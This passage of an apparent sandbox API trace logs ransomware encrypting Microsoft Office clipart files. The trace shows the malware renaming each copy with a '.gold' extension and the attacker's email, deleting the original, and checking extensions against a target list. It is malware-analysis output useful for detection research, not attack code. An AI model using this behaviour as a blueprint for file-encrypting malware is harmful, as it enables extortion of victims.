office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.446] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.446] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0049.446] GetLastError () returned 0x0 [0049.446] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0049.554] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0049.555] ReadFile (in: hFile=0x220, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.555] WriteFile (in: hFile=0x20c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.555] SetEndOfFile (hFile=0x20c) returned 1 [0049.709] CloseHandle (hObject=0x20c) returned 1 [0049.709] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.709] SetEndOfFile (hFile=0x220) returned 1 [0049.710] CloseHandle (hObject=0x220) returned 1 [0049.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0050.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.292] lstrlenW (lpString=".doc") returned 4 [0050.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0050.292] lstrlenW (lpString=".docx") returned 5 [0050.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0050.292] lstrlenW (lpString=".pdf") returned 4 [0050.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0050.293] lstrlenW (lpString=".xls") returned 4 [0050.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0050.298] lstrlenW (lpString=".xlsx") returned 5 [0050.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0050.298] lstrlenW (lpString=".ppt") returned 4 [0050.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0050.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.300] lstrlenW (lpString=".zip") returned 4 [0050.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0050.304] lstrlenW (lpString=".rar") returned 4 [0050.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString=".bz2") returned 4 [0050.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString=".7z") returned 3 [0050.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.523] lstrlenW (lpString=".dbf") returned 4 [0050.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.523] lstrlenW (lpString=".1cd") returned 4 [0050.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.523] lstrlenW (lpString=".jpg") returned 4 [0050.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.523] lstrlenW (lpString=".doc") returned 4 [0050.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString=".docx") returned 5 [0050.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0050.523] lstrlenW (lpString=".pdf") returned 4 [0050.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString=".xls") returned 4 [0050.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0050.523] lstrlenW (lpString=".xlsx") returned 5 [0050.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0050.523] lstrlenW (lpString=".ppt") returned 4 [0050.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0050.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.524] lstrlenW (lpString=".zip") returned 4 [0050.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0050.524] lstrlenW (lpString=".rar") returned 4 [0050.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0050.524] lstrlenW (lpString=".bz2") returned 4 [0050.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0050.524] lstrlenW (lpString=".7z") returned 3 [0050.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0050.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.524] lstrlenW (lpString=".dbf") returned 4 [0050.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0050.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.525] lstrlenW (lpString=".1cd") returned 4 [0050.525] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0050.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0050.525] lstrlenW (lpString=".jpg") returned 4 [0050.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0050.526] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0050.526] lstrlenW (lpString="BD00146_.WMF") returned 12 [0050.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.220] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=28948) returned 1 [0051.220] CloseHandle (hObject=0x1e8) returned 1 [0051.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0051.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.220] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.220] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.221] GetLastError () returned 0x0 [0051.221] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x7114, lpOverlapped=0x0) returned 1 [0051.225] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7120, lpOverlapped=0x0) returned 1 [0051.226] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.226] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.226] SetEndOfFile (hFile=0x1a0) returned 1 [0051.226] CloseHandle (hObject=0x1a0) returned 1 [0051.226] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.226] SetEndOfFile (hFile=0x1e8) returned 1 [0051.227] CloseHandle (hObject=0x1e8) returned 1 [0051.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0051.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.227] lstrlenW (lpString=".doc") returned 4 [0051.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".docx") returned 5 [0051.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".pdf") returned 4 [0051.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".xls") returned 4 [0051.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".xlsx") returned 5 [0051.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".ppt") returned 4 [0051.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".zip") returned 4 [0051.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".rar") returned 4 [0051.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".bz2") returned 4 [0051.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".7z") returned 3 [0051.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".dbf") returned 4 [0051.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".1cd") returned 4 [0051.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".jpg") returned 4 [0051.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".doc") returned 4 [0051.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".docx") returned 5 [0051.228] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".pdf") returned 4 [0051.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString=".xls") returned 4 [0051.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".xlsx") returned 5 [0051.228] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.228] lstrlenW (lpString=".ppt") returned 4 [0051.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.228] lstrlenW (lpString=".zip") returned 4 [0051.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.228] lstrlenW (lpString=".rar") returned 4 [0051.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString=".bz2") returned 4 [0051.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString=".7z") returned 3 [0051.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.229] lstrlenW (lpString=".dbf") returned 4 [0051.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.229] lstrlenW (lpString=".1cd") returned 4 [0051.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0051.229] lstrlenW (lpString=".jpg") returned 4 [0051.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.229] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.229] lstrlenW (lpString="BD09664_.WMF") returned 12 [0051.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.229] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=7966) returned 1 [0051.229] CloseHandle (hObject=0x1e8) returned 1 [0051.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x20 [0051.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.230] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.230] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0051.230] GetLastError () returned 0x0 [0051.230] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x1f1e, lpOverlapped=0x0) returned 1 [0051.231] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0051.232] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.232] WriteFile (in: hFile=0x1a0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.232] SetEndOfFile (hFile=0x1a0) returned 1 [0051.232] CloseHandle (hObject=0x1a0) returned 1 [0051.232] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.232] SetEndOfFile (hFile=0x1e8) returned 1 [0051.233] CloseHandle (hObject=0x1e8) returned 1 [0051.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".doc") returned 4 [0051.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".docx") returned 5 [0051.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.234] lstrlenW (lpString=".pdf") returned 4 [0051.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".xls") returned 4 [0051.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.234] lstrlenW (lpString=".xlsx") returned 5 [0051.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.234] lstrlenW (lpString=".ppt") returned 4 [0051.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".zip") returned 4 [0051.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.234] lstrlenW (lpString=".rar") returned 4 [0051.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".bz2") returned 4 [0051.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".7z") returned 3 [0051.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".dbf") returned 4 [0051.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".1cd") returned 4 [0051.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".jpg") returned 4 [0051.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.234] lstrlenW (lpString=".doc") returned 4 [0051.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".docx") returned 5 [0051.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.234] lstrlenW (lpString=".pdf") returned 4 [0051.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.234] lstrlenW (lpString=".xls") returned 4 [0051.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.234] lstrlenW (lpString=".xlsx") returned 5 [0051.234] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.234] lstrlenW (lpString=".ppt") returned 4 [0051.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.235] lstrlenW (lpString=".zip") returned 4 [0051.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.235] lstrlenW (lpString=".rar") returned 4 [0051.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString=".bz2") returned 4 [0051.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString=".7z") returned 3 [0051.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.235] lstrlenW (lpString=".dbf") returned 4 [0051.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.235] lstrlenW (lpString=".1cd") returned 4 [0051.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0051.235] lstrlenW (lpString=".jpg") returned 4 [0051.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.235] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0051.235] lstrlenW (lpString="BD10890_.GIF") returned 12 [0051.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.235] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=13515) returned 1 [0051.235] CloseHandle (hObject=0x1e8) returned 1 [0051.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0051.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.236] CreateFileW (lpFileName="C:\\Program 